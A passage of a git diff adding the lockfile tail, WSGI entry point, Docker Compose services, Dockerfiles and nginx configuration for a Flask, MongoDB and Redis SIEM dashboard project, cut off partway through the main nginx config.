11033133, upload-time = "2026-02-03T17:53:33.105Z" }, + { url = "https://files.pythonhosted.org/packages/f8/5e/23b87370cf0f9081a8c89a753e69a4e8778805b8802ccfe175cc410e50b9/ruff-0.15.0-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:5298d518e493061f2eabd4abd067c7e4fb89e2f63291c94332e35631c07c3662", size = 10442646, upload-time = "2026-02-03T17:53:06.278Z" }, + { url = "https://files.pythonhosted.org/packages/e1/9a/3c94de5ce642830167e6d00b5c75aacd73e6347b4c7fc6828699b150a5ee/ruff-0.15.0-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:afb6e603d6375ff0d6b0cee563fa21ab570fd15e65c852cb24922cef25050cf1", size = 10195750, upload-time = "2026-02-03T17:53:26.084Z" }, + { url = "https://files.pythonhosted.org/packages/30/15/e396325080d600b436acc970848d69df9c13977942fb62bb8722d729bee8/ruff-0.15.0-py3-none-musllinux_1_2_i686.whl", hash = "sha256:77e515f6b15f828b94dc17d2b4ace334c9ddb7d9468c54b2f9ed2b9c1593ef16", size = 10676120, upload-time = "2026-02-03T17:53:09.363Z" }, + { url = "https://files.pythonhosted.org/packages/8d/c9/229a23d52a2983de1ad0fb0ee37d36e0257e6f28bfd6b498ee2c76361874/ruff-0.15.0-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:6f6e80850a01eb13b3e42ee0ebdf6e4497151b48c35051aab51c101266d187a3", size = 11201636, upload-time = "2026-02-03T17:52:57.281Z" }, + { url = "https://files.pythonhosted.org/packages/6f/b0/69adf22f4e24f3677208adb715c578266842e6e6a3cc77483f48dd999ede/ruff-0.15.0-py3-none-win32.whl", hash = "sha256:238a717ef803e501b6d51e0bdd0d2c6e8513fe9eec14002445134d3907cd46c3", size = 10465945, upload-time = "2026-02-03T17:53:12.591Z" }, + { url = "https://files.pythonhosted.org/packages/51/ad/f813b6e2c97e9b4598be25e94a9147b9af7e60523b0cb5d94d307c15229d/ruff-0.15.0-py3-none-win_amd64.whl", hash = "sha256:dd5e4d3301dc01de614da3cdffc33d4b1b96fb89e45721f1598e5532ccf78b18", size = 11564657, upload-time = "2026-02-03T17:52:51.893Z" }, + { url = "https://files.pythonhosted.org/packages/f6/b0/2d823f6e77ebe560f4e397d078487e8d52c1516b331e3521bc75db4272ca/ruff-0.15.0-py3-none-win_arm64.whl", hash = "sha256:c480d632cc0ca3f0727acac8b7d053542d9e114a462a145d0b00e7cd658c515a", size = 10865753, upload-time = "2026-02-03T17:53:03.014Z" }, +] + +[[package]] +name = "siem-dashboard" +version = "0.1.0" +source = { editable = "." } +dependencies = [ + { name = "flask" }, + { name = "flask-cors" }, + { name = "gunicorn" }, + { name = "mongoengine" }, + { name = "pwdlib", extra = ["argon2"] }, + { name = "pydantic" }, + { name = "pydantic-settings" }, + { name = "pyjwt" }, + { name = "pyyaml" }, + { name = "redis" }, + { name = "structlog" }, + { name = "uuid6" }, +] + +[package.optional-dependencies] +dev = [ + { name = "mypy" }, + { name = "pre-commit" }, + { name = "pylint" }, + { name = "pylint-per-file-ignores" }, + { name = "pylint-pydantic" }, + { name = "pytest" }, + { name = "pytest-cov" }, + { name = "ruff" }, + { name = "ty" }, + { name = "types-redis" }, +] + +[package.metadata] +requires-dist = [ + { name = "flask", specifier = ">=3.1.2" }, + { name = "flask-cors", specifier = ">=6.0.2" }, + { name = "gunicorn", specifier = ">=25.0.1" }, + { name = "mongoengine", specifier = ">=0.29.1" }, + { name = "mypy", marker = "extra == 'dev'", specifier = ">=1.19.1" }, + { name = "pre-commit", marker = "extra == 'dev'", specifier = ">=4.5.1" }, + { name = "pwdlib", extras = ["argon2"], specifier = ">=0.3.0,<0.4.0" }, + { name = "pydantic", specifier = ">=2.12.5,<3.0.0" }, + { name = "pydantic-settings", specifier = ">=2.12.0,<3.0.0" }, + { name = "pyjwt", specifier = ">=2.11.0" }, + { name = "pylint", marker = "extra == 'dev'", specifier = ">=4.0.4,<5.0.0" }, + { name = "pylint-per-file-ignores", marker = "extra == 'dev'", specifier = ">=3.2.0,<4.0.0" }, + { name = "pylint-pydantic", marker = "extra == 'dev'", specifier = ">=0.4.1,<0.5.0" }, + { name = "pytest", marker = "extra == 'dev'", specifier = ">=9.0.2,<10.0.0" }, + { name = "pytest-cov", marker = "extra == 'dev'", specifier = ">=7.0.0,<8.0.0" }, + { name = "pyyaml", specifier = ">=6.0.3" }, + { name = "redis", specifier = ">=7.1.0,<8.0.0" }, + { name = "ruff", marker = "extra == 'dev'", specifier = ">=0.15.0" }, + { name = "structlog", specifier = ">=25.5.0,<26.0.0" }, + { name = "ty", marker = "extra == 'dev'", specifier = ">=0.0.15" }, + { name = "types-redis", marker = "extra == 'dev'", specifier = ">=4.6.0.20241004,<5.0.0" }, + { name = "uuid6", specifier = ">=2025.0.1,<2026.0.0" }, +] +provides-extras = ["dev"] + +[[package]] +name = "structlog" +version = "25.5.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/ef/52/9ba0f43b686e7f3ddfeaa78ac3af750292662284b3661e91ad5494f21dbc/structlog-25.5.0.tar.gz", hash = "sha256:098522a3bebed9153d4570c6d0288abf80a031dfdb2048d59a49e9dc2190fc98", size = 1460830, upload-time = "2025-10-27T08:28:23.028Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/a8/45/a132b9074aa18e799b891b91ad72133c98d8042c70f6240e4c5f9dabee2f/structlog-25.5.0-py3-none-any.whl", hash = "sha256:a8453e9b9e636ec59bd9e79bbd4a72f025981b3ba0f5837aebf48f02f37a7f9f", size = 72510, upload-time = "2025-10-27T08:28:21.535Z" }, +] + +[[package]] +name = "tomlkit" +version = "0.14.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/c3/af/14b24e41977adb296d6bd1fb59402cf7d60ce364f90c890bd2ec65c43b5a/tomlkit-0.14.0.tar.gz", hash = "sha256:cf00efca415dbd57575befb1f6634c4f42d2d87dbba376128adb42c121b87064", size = 187167, upload-time = "2026-01-13T01:14:53.304Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b5/11/87d6d29fb5d237229d67973a6c9e06e048f01cf4994dee194ab0ea841814/tomlkit-0.14.0-py3-none-any.whl", hash = "sha256:592064ed85b40fa213469f81ac584f67a4f2992509a7c3ea2d632208623a3680", size = 39310, upload-time = "2026-01-13T01:14:51.965Z" }, +] + +[[package]] +name = "ty" +version = "0.0.15" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/4e/25/257602d316b9333089b688a7a11b33ebc660b74e8dacf400dc3dfdea1594/ty-0.0.15.tar.gz", hash = "sha256:4f9a5b8df208c62dba56e91b93bed8b5bb714839691b8cff16d12c983bfa1174", size = 5101936, upload-time = "2026-02-05T01:06:34.922Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ce/c5/35626e732b79bf0e6213de9f79aff59b5f247c0a1e3ce0d93e675ab9b728/ty-0.0.15-py3-none-linux_armv6l.whl", hash = "sha256:68e092458516c61512dac541cde0a5e4e5842df00b4e81881ead8f745ddec794", size = 10138374, upload-time = "2026-02-05T01:07:03.804Z" }, + { url = "https://files.pythonhosted.org/packages/d5/8a/48fd81664604848f79d03879b3ca3633762d457a069b07e09fb1b87edd6e/ty-0.0.15-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:79f2e75289eae3cece94c51118b730211af4ba5762906f52a878041b67e54959", size = 9947858, upload-time = "2026-02-05T01:06:47.453Z" }, + { url = "https://files.pythonhosted.org/packages/b6/85/c1ac8e97bcd930946f4c94db85b675561d590b4e72703bf3733419fc3973/ty-0.0.15-py3-none-macosx_11_0_arm64.whl", hash = "sha256:112a7b26e63e48cc72c8c5b03227d1db280cfa57a45f2df0e264c3a016aa8c3c", size = 9443220, upload-time = "2026-02-05T01:06:44.98Z" }, + { url = "https://files.pythonhosted.org/packages/3c/d9/244bc02599d950f7a4298fbc0c1b25cc808646b9577bdf7a83470b2d1cec/ty-0.0.15-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:71f62a2644972975a657d9dc867bf901235cde51e8d24c20311067e7afd44a56", size = 9949976, upload-time = "2026-02-05T01:07:01.515Z" }, + { url = "https://files.pythonhosted.org/packages/7e/ab/3a0daad66798c91a33867a3ececf17d314ac65d4ae2bbbd28cbfde94da63/ty-0.0.15-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:9e48b42be2d257317c85b78559233273b655dd636fc61e7e1d69abd90fd3cba4", size = 9965918, upload-time = "2026-02-05T01:06:54.283Z" }, + { url = "https://files.pythonhosted.org/packages/39/4e/e62b01338f653059a7c0cd09d1a326e9a9eedc351a0f0de9db0601658c3d/ty-0.0.15-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:27dd5b52a421e6871c5bfe9841160331b60866ed2040250cb161886478ab3e4f", size = 10424943, upload-time = "2026-02-05T01:07:08.777Z" }, + { url = "https://files.pythonhosted.org/packages/65/b5/7aa06655ce69c0d4f3e845d2d85e79c12994b6d84c71699cfb437e0bc8cf/ty-0.0.15-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:76b85c9ec2219e11c358a7db8e21b7e5c6674a1fb9b6f633836949de98d12286", size = 10964692, upload-time = "2026-02-05T01:06:37.103Z" }, + { url = "https://files.pythonhosted.org/packages/13/04/36fdfe1f3c908b471e246e37ce3d011175584c26d3853e6c5d9a0364564c/ty-0.0.15-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a9e8204c61d8ede4f21f2975dce74efdb80fafb2fae1915c666cceb33ea3c90b", size = 10692225, upload-time = "2026-02-05T01:06:49.714Z" }, + { url = "https://files.pythonhosted.org/packages/13/41/5bf882649bd8b64ded5fbce7fb8d77fb3b868de1a3b1a6c4796402b47308/ty-0.0.15-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:af87c3be7c944bb4d6609d6c63e4594944b0028c7bd490a525a82b88fe010d6d", size = 10516776, upload-time = "2026-02-05T01:06:52.047Z" }, + { url = "https://files.pythonhosted.org/packages/56/75/66852d7e004f859839c17ffe1d16513c1e7cc04bcc810edb80ca022a9124/ty-0.0.15-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:50dccf7398505e5966847d366c9e4c650b8c225411c2a68c32040a63b9521eea", size = 9928828, upload-time = "2026-02-05T01:06:56.647Z" }, + { url = "https://files.pythonhosted.org/packages/65/72/96bc16c7b337a3ef358fd227b3c8ef0c77405f3bfbbfb59ee5915f0d9d71/ty-0.0.15-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:bd797b8f231a4f4715110259ad1ad5340a87b802307f3e06d92bfb37b858a8f3", size = 9978960, upload-time = "2026-02-05T01:06:29.567Z" }, + { url = "https://files.pythonhosted.org/packages/a0/18/d2e316a35b626de2227f832cd36d21205e4f5d96fd036a8af84c72ecec1b/ty-0.0.15-py3-none-musllinux_1_2_i686.whl", hash = "sha256:9deb7f20e18b25440a9aa4884f934ba5628ef456dbde91819d5af1a73da48af3", size = 10135903, upload-time = "2026-02-05T01:06:59.256Z" }, + { url = "https://files.pythonhosted.org/packages/02/d3/b617a79c9dad10c888d7c15cd78859e0160b8772273637b9c4241a049491/ty-0.0.15-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:7b31b3de031255b90a5f4d9cb3d050feae246067c87130e5a6861a8061c71754", size = 10615879, upload-time = "2026-02-05T01:07:06.661Z" }, + { url = "https://files.pythonhosted.org/packages/fb/b0/2652a73c71c77296a6343217063f05745da60c67b7e8a8e25f2064167fce/ty-0.0.15-py3-none-win32.whl", hash = "sha256:9362c528ceb62c89d65c216336d28d500bc9f4c10418413f63ebc16886e16cc1", size = 9578058, upload-time = "2026-02-05T01:06:42.928Z" }, + { url = "https://files.pythonhosted.org/packages/84/6e/08a4aedebd2a6ce2784b5bc3760e43d1861f1a184734a78215c2d397c1df/ty-0.0.15-py3-none-win_amd64.whl", hash = "sha256:4db040695ae67c5524f59cb8179a8fa277112e69042d7dfdac862caa7e3b0d9c", size = 10457112, upload-time = "2026-02-05T01:06:39.885Z" }, + { url = "https://files.pythonhosted.org/packages/b3/be/1991f2bc12847ae2d4f1e3ac5dcff8bb7bc1261390645c0755bb55616355/ty-0.0.15-py3-none-win_arm64.whl", hash = "sha256:e5a98d4119e77d6136461e16ae505f8f8069002874ab073de03fbcb1a5e8bf25", size = 9937490, upload-time = "2026-02-05T01:06:32.388Z" }, +] + +[[package]] +name = "types-cffi" +version = "1.17.0.20250915" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "types-setuptools" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/2a/98/ea454cea03e5f351323af6a482c65924f3c26c515efd9090dede58f2b4b6/types_cffi-1.17.0.20250915.tar.gz", hash = "sha256:4362e20368f78dabd5c56bca8004752cc890e07a71605d9e0d9e069dbaac8c06", size = 17229, upload-time = "2025-09-15T03:01:25.31Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/aa/ec/092f2b74b49ec4855cdb53050deb9699f7105b8fda6fe034c0781b8687f3/types_cffi-1.17.0.20250915-py3-none-any.whl", hash = "sha256:cef4af1116c83359c11bb4269283c50f0688e9fc1d7f0eeb390f3661546da52c", size = 20112, upload-time = "2025-09-15T03:01:24.187Z" }, +] + +[[package]] +name = "types-pyopenssl" +version = "24.1.0.20240722" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "cryptography" }, + { name = "types-cffi" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/93/29/47a346550fd2020dac9a7a6d033ea03fccb92fa47c726056618cc889745e/types-pyOpenSSL-24.1.0.20240722.tar.gz", hash = "sha256:47913b4678a01d879f503a12044468221ed8576263c1540dcb0484ca21b08c39", size = 8458, upload-time = "2024-07-22T02:32:22.558Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/98/05/c868a850b6fbb79c26f5f299b768ee0adc1f9816d3461dcf4287916f655b/types_pyOpenSSL-24.1.0.20240722-py3-none-any.whl", hash = "sha256:6a7a5d2ec042537934cfb4c9d4deb0e16c4c6250b09358df1f083682fe6fda54", size = 7499, upload-time = "2024-07-22T02:32:21.232Z" }, +] + +[[package]] +name = "types-redis" +version = "4.6.0.20241004" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "cryptography" }, + { name = "types-pyopenssl" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/3a/95/c054d3ac940e8bac4ca216470c80c26688a0e79e09f520a942bb27da3386/types-redis-4.6.0.20241004.tar.gz", hash = "sha256:5f17d2b3f9091ab75384153bfa276619ffa1cf6a38da60e10d5e6749cc5b902e", size = 49679, upload-time = "2024-10-04T02:43:59.224Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/55/82/7d25dce10aad92d2226b269bce2f85cfd843b4477cd50245d7d40ecf8f89/types_redis-4.6.0.20241004-py3-none-any.whl", hash = "sha256:ef5da68cb827e5f606c8f9c0b49eeee4c2669d6d97122f301d3a55dc6a63f6ed", size = 58737, upload-time = "2024-10-04T02:43:57.968Z" }, +] + +[[package]] +name = "types-setuptools" +version = "80.10.0.20260124" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/aa/7e/116539b9610585e34771611e33c88a4c706491fa3565500f5a63139f8731/types_setuptools-80.10.0.20260124.tar.gz", hash = "sha256:1b86d9f0368858663276a0cbe5fe5a9722caf94b5acde8aba0399a6e90680f20", size = 43299, upload-time = "2026-01-24T03:18:39.527Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/2b/7f/016dc5cc718ec6ccaa84fb73ed409ef1c261793fd5e637cdfaa18beb40a9/types_setuptools-80.10.0.20260124-py3-none-any.whl", hash = "sha256:efed7e044f01adb9c2806c7a8e1b6aa3656b8e382379b53d5f26ee3db24d4c01", size = 64333, upload-time = "2026-01-24T03:18:38.344Z" }, +] + +[[package]] +name = "typing-extensions" +version = "4.15.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/72/94/1a15dd82efb362ac84269196e94cf00f187f7ed21c242792a923cdb1c61f/typing_extensions-4.15.0.tar.gz", hash = "sha256:0cea48d173cc12fa28ecabc3b837ea3cf6f38c6d1136f85cbaaf598984861466", size = 109391, upload-time = "2025-08-25T13:49:26.313Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/18/67/36e9267722cc04a6b9f15c7f3441c2363321a3ea07da7ae0c0707beb2a9c/typing_extensions-4.15.0-py3-none-any.whl", hash = "sha256:f0fa19c6845758ab08074a0cfa8b7aecb71c999ca73d62883bc25cc018c4e548", size = 44614, upload-time = "2025-08-25T13:49:24.86Z" }, +] + +[[package]] +name = "typing-inspection" +version = "0.4.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/55/e3/70399cb7dd41c10ac53367ae42139cf4b1ca5f36bb3dc6c9d33acdb43655/typing_inspection-0.4.2.tar.gz", hash = "sha256:ba561c48a67c5958007083d386c3295464928b01faa735ab8547c5692e87f464", size = 75949, upload-time = "2025-10-01T02:14:41.687Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/dc/9b/47798a6c91d8bdb567fe2698fe81e0c6b7cb7ef4d13da4114b41d239f65d/typing_inspection-0.4.2-py3-none-any.whl", hash = "sha256:4ed1cacbdc298c220f1bd249ed5287caa16f34d44ef4e9c3d0cbad5b521545e7", size = 14611, upload-time = "2025-10-01T02:14:40.154Z" }, +] + +[[package]] +name = "uuid6" +version = "2025.0.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/ca/b7/4c0f736ca824b3a25b15e8213d1bcfc15f8ac2ae48d1b445b310892dc4da/uuid6-2025.0.1.tar.gz", hash = "sha256:cd0af94fa428675a44e32c5319ec5a3485225ba2179eefcf4c3f205ae30a81bd", size = 13932, upload-time = "2025-07-04T18:30:35.186Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/3d/b2/93faaab7962e2aa8d6e174afb6f76be2ca0ce89fde14d3af835acebcaa59/uuid6-2025.0.1-py3-none-any.whl", hash = "sha256:80530ce4d02a93cdf82e7122ca0da3ebbbc269790ec1cb902481fa3e9cc9ff99", size = 6979, upload-time = "2025-07-04T18:30:34.001Z" }, +] + +[[package]] +name = "virtualenv" +version = "20.36.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "distlib" }, + { name = "filelock" }, + { name = "platformdirs" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/aa/a3/4d310fa5f00863544e1d0f4de93bddec248499ccf97d4791bc3122c9d4f3/virtualenv-20.36.1.tar.gz", hash = "sha256:8befb5c81842c641f8ee658481e42641c68b5eab3521d8e092d18320902466ba", size = 6032239, upload-time = "2026-01-09T18:21:01.296Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/6a/2a/dc2228b2888f51192c7dc766106cd475f1b768c10caaf9727659726f7391/virtualenv-20.36.1-py3-none-any.whl", hash = "sha256:575a8d6b124ef88f6f51d56d656132389f961062a9177016a50e4f507bbcc19f", size = 6008258, upload-time = "2026-01-09T18:20:59.425Z" }, +] + +[[package]] +name = "werkzeug" +version = "3.1.5" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "markupsafe" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/5a/70/1469ef1d3542ae7c2c7b72bd5e3a4e6ee69d7978fa8a3af05a38eca5becf/werkzeug-3.1.5.tar.gz", hash = "sha256:6a548b0e88955dd07ccb25539d7d0cc97417ee9e179677d22c7041c8f078ce67", size = 864754, upload-time = "2026-01-08T17:49:23.247Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ad/e4/8d97cca767bcc1be76d16fb76951608305561c6e056811587f36cb1316a8/werkzeug-3.1.5-py3-none-any.whl", hash = "sha256:5111e36e91086ece91f93268bb39b4a35c1e6f1feac762c9c822ded0a4e322dc", size = 225025, upload-time = "2026-01-08T17:49:21.859Z" }, +] diff --git a/PROJECTS/intermediate/siem-dashboard/backend/wsgi.py b/PROJECTS/intermediate/siem-dashboard/backend/wsgi.py new file mode 100644 index 00000000..92e73db7 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/backend/wsgi.py @@ -0,0 +1,9 @@ +""" +©AngelaMos | 2026 +wsgi.py +""" + +from app import create_app + + +app = create_app() diff --git a/PROJECTS/intermediate/siem-dashboard/cloudflared.compose.yml b/PROJECTS/intermediate/siem-dashboard/cloudflared.compose.yml new file mode 100644 index 00000000..26f53667 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/cloudflared.compose.yml @@ -0,0 +1,22 @@ +# ©AngelaMos | 2026 +# cloudflared.compose.yml + +services: + cloudflared: + image: cloudflare/cloudflared:latest + container_name: ${APP_NAME:-siem}-tunnel + command: tunnel run --token ${CLOUDFLARE_TUNNEL_TOKEN} + networks: + - backend + depends_on: + nginx: + condition: service_started + deploy: + resources: + limits: + cpus: '0.5' + memory: 128M + reservations: + cpus: '0.1' + memory: 32M + restart: unless-stopped diff --git a/PROJECTS/intermediate/siem-dashboard/compose.yml b/PROJECTS/intermediate/siem-dashboard/compose.yml new file mode 100644 index 00000000..ac1fa60a --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/compose.yml @@ -0,0 +1,129 @@ +# ©AngelaMos | 2026 +# compose.yml + +name: ${APP_NAME:-siem} + +services: + nginx: + build: + context: . + dockerfile: conf/docker/prod/vite.docker + container_name: ${APP_NAME:-siem}-nginx + ports: + - "${NGINX_HOST_PORT:-8431}:80" + volumes: + - ./conf/nginx/nginx.prod.conf:/etc/nginx/nginx.conf:ro + - ./conf/nginx/prod.nginx:/etc/nginx/conf.d/default.conf:ro + depends_on: + backend: + condition: service_healthy + networks: + - frontend + - backend + deploy: + resources: + limits: + cpus: '1.0' + memory: 256M + reservations: + cpus: '0.25' + memory: 64M + restart: unless-stopped + + backend: + build: + context: . + dockerfile: conf/docker/prod/flask.docker + container_name: ${APP_NAME:-siem}-backend + expose: + - "5000" + env_file: + - .env + environment: + - MONGO_URI=mongodb://mongo:27017/${MONGO_DB:-siem} + - REDIS_URL=redis://:${REDIS_PASSWORD}@redis:6379/0 + - DEBUG=false + depends_on: + mongo: + condition: service_healthy + redis: + condition: service_healthy + networks: + - backend + deploy: + resources: + limits: + cpus: '2.0' + memory: 1G + reservations: + cpus: '0.5' + memory: 256M + healthcheck: + test: ["CMD", "curl", "-sf", "http://localhost:5000/health"] + interval: 30s + timeout: 5s + retries: 3 + start_period: 40s + restart: unless-stopped + + mongo: + image: mongo:8.0 + container_name: ${APP_NAME:-siem}-mongo + volumes: + - mongo_data:/data/db + networks: + - backend + deploy: + resources: + limits: + cpus: '1.0' + memory: 512M + reservations: + cpus: '0.25' + memory: 128M + healthcheck: + test: ["CMD", "mongosh", "--eval", "db.adminCommand('ping')"] + interval: 10s + timeout: 5s + retries: 5 + start_period: 30s + restart: unless-stopped + + redis: + image: redis:7-alpine + container_name: ${APP_NAME:-siem}-redis + volumes: + - redis_data:/data + command: redis-server --appendonly yes ${REDIS_PASSWORD:+--requirepass ${REDIS_PASSWORD}} + networks: + - backend + deploy: + resources: + limits: + cpus: '0.5' + memory: 256M + reservations: + cpus: '0.1' + memory: 64M + healthcheck: + test: ["CMD-SHELL", "redis-cli ${REDIS_PASSWORD:+-a ${REDIS_PASSWORD}} ping"] + interval: 10s + timeout: 5s + retries: 5 + restart: unless-stopped + +networks: + frontend: + driver: bridge + ipam: + config: + - subnet: 10.202.83.0/24 + backend: + driver: bridge + ipam: + config: + - subnet: 10.202.84.0/24 + +volumes: + mongo_data: + redis_data: diff --git a/PROJECTS/intermediate/siem-dashboard/conf/docker/dev/flask.docker b/PROJECTS/intermediate/siem-dashboard/conf/docker/dev/flask.docker new file mode 100644 index 00000000..bfda4d79 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/conf/docker/dev/flask.docker @@ -0,0 +1,26 @@ +# ©AngelaMos | 2026 +# flask.docker + +FROM python:3.14-slim + +ENV PYTHONUNBUFFERED=1 \ + PYTHONDONTWRITEBYTECODE=1 \ + UV_SYSTEM_PYTHON=1 + +WORKDIR /app + +RUN apt-get update && apt-get install -y --no-install-recommends \ + curl \ + && rm -rf /var/lib/apt/lists/* + +RUN pip install uv + +COPY backend/pyproject.toml . + +RUN uv pip install -e ".[dev]" + +COPY backend/ . + +EXPOSE 5000 + +CMD ["flask", "run", "--host", "0.0.0.0", "--port", "5000", "--reload"] diff --git a/PROJECTS/intermediate/siem-dashboard/conf/docker/dev/vite.docker b/PROJECTS/intermediate/siem-dashboard/conf/docker/dev/vite.docker new file mode 100644 index 00000000..5e36fa70 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/conf/docker/dev/vite.docker @@ -0,0 +1,14 @@ +# ©AngelaMos | 2026 +# vite.docker + +FROM node:24-alpine + +RUN corepack enable && corepack prepare pnpm@latest --activate + +WORKDIR /app + +ENV CI=true + +EXPOSE 5173 + +CMD ["sh", "-c", "pnpm install && pnpm dev --host 0.0.0.0"] diff --git a/PROJECTS/intermediate/siem-dashboard/conf/docker/prod/flask.docker b/PROJECTS/intermediate/siem-dashboard/conf/docker/prod/flask.docker new file mode 100644 index 00000000..66eed0cf --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/conf/docker/prod/flask.docker @@ -0,0 +1,33 @@ +# ©AngelaMos | 2026 +# flask.docker + +FROM python:3.14-slim + +ENV PYTHONUNBUFFERED=1 \ + PYTHONDONTWRITEBYTECODE=1 \ + UV_SYSTEM_PYTHON=1 + +WORKDIR /app + +RUN apt-get update && apt-get install -y --no-install-recommends \ + curl \ + && rm -rf /var/lib/apt/lists/* + +RUN pip install uv + +COPY backend/pyproject.toml . + +RUN uv pip install . + +COPY backend/ . + +RUN useradd -m -u 1000 appuser && chown -R appuser:appuser /app +USER appuser + +EXPOSE 5000 + +CMD ["gunicorn", "wsgi:app", \ + "--workers", "4", \ + "--bind", "0.0.0.0:5000", \ + "--access-logfile", "-", \ + "--error-logfile", "-"] diff --git a/PROJECTS/intermediate/siem-dashboard/conf/docker/prod/vite.docker b/PROJECTS/intermediate/siem-dashboard/conf/docker/prod/vite.docker new file mode 100644 index 00000000..023a1a39 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/conf/docker/prod/vite.docker @@ -0,0 +1,25 @@ +# ©AngelaMos | 2026 +# vite.docker + +FROM node:24-alpine AS build + +RUN corepack enable && corepack prepare pnpm@latest --activate + +WORKDIR /app + +COPY frontend/package.json frontend/pnpm-lock.yaml* ./ + +RUN pnpm install --frozen-lockfile || pnpm install + +COPY frontend/ . + +RUN pnpm build + +FROM nginx:alpine + +COPY conf/nginx/prod.nginx /etc/nginx/conf.d/default.conf +COPY --from=build /app/dist /usr/share/nginx/html + +EXPOSE 80 + +CMD ["nginx", "-g", "daemon off;"] diff --git a/PROJECTS/intermediate/siem-dashboard/conf/nginx/dev.nginx b/PROJECTS/intermediate/siem-dashboard/conf/nginx/dev.nginx new file mode 100644 index 00000000..bbad3e2c --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/conf/nginx/dev.nginx @@ -0,0 +1,69 @@ +# ©AngelaMos | 2026 +# dev.nginx + +server { + listen 80; + listen [::]:80; + server_name _; + + access_log /var/log/nginx/access.log main_timed; + error_log /var/log/nginx/error.log debug; + + add_header Cache-Control "no-store, no-cache, must-revalidate" always; + + location /health { + access_log off; + return 200 "1"; + add_header Content-Type text/plain; + } + + location ~ ^/api(/v1/(logs|alerts)/stream.*) { + rewrite ^/api(/.*)$ $1 break; + proxy_pass http://backend; + proxy_http_version 1.1; + proxy_set_header Connection ""; + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto $scheme; + + proxy_buffering off; + proxy_cache off; + proxy_read_timeout 3600s; + proxy_send_timeout 3600s; + chunked_transfer_encoding off; + } + + location /api/ { + limit_req zone=api_limit burst=50 nodelay; + limit_conn conn_limit 20; + + proxy_pass http://backend/; + proxy_http_version 1.1; + proxy_set_header Connection ""; + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto $scheme; + + proxy_buffering off; + proxy_request_buffering off; + + proxy_connect_timeout 60s; + proxy_send_timeout 60s; + proxy_read_timeout 60s; + } + + location / { + proxy_pass http://frontend_dev; + proxy_http_version 1.1; + proxy_set_header Upgrade $http_upgrade; + proxy_set_header Connection $connection_upgrade; + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + + proxy_read_timeout 60s; + proxy_buffering off; + } +} diff --git a/PROJECTS/intermediate/siem-dashboard/conf/nginx/nginx.conf b/PROJECTS/intermediate/siem-dashboard/conf/nginx/nginx.conf new file mode 100644 index 00000000..5d6ec6a2 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/conf/nginx/nginx.conf @@ -0,0 +1,82 @@ +# ©AngelaMos | 2026 +# nginx.conf + +worker_processes auto; +worker_rlimit_nofile 65535; + +error_log /var/log/nginx/error.log warn; +pid /var/run/nginx.pid; + +events { + worker_connections 4096; + multi_accept on; + use epoll; +} + +http { + include /etc/nginx/mime.types; + default_type application/octet-stream; + + map $http_upgrade $connection_upgrade { + default upgrade; + '' close; + } + + upstream backend { + server backend:5000 max_fails=3 fail_timeout=30s; + 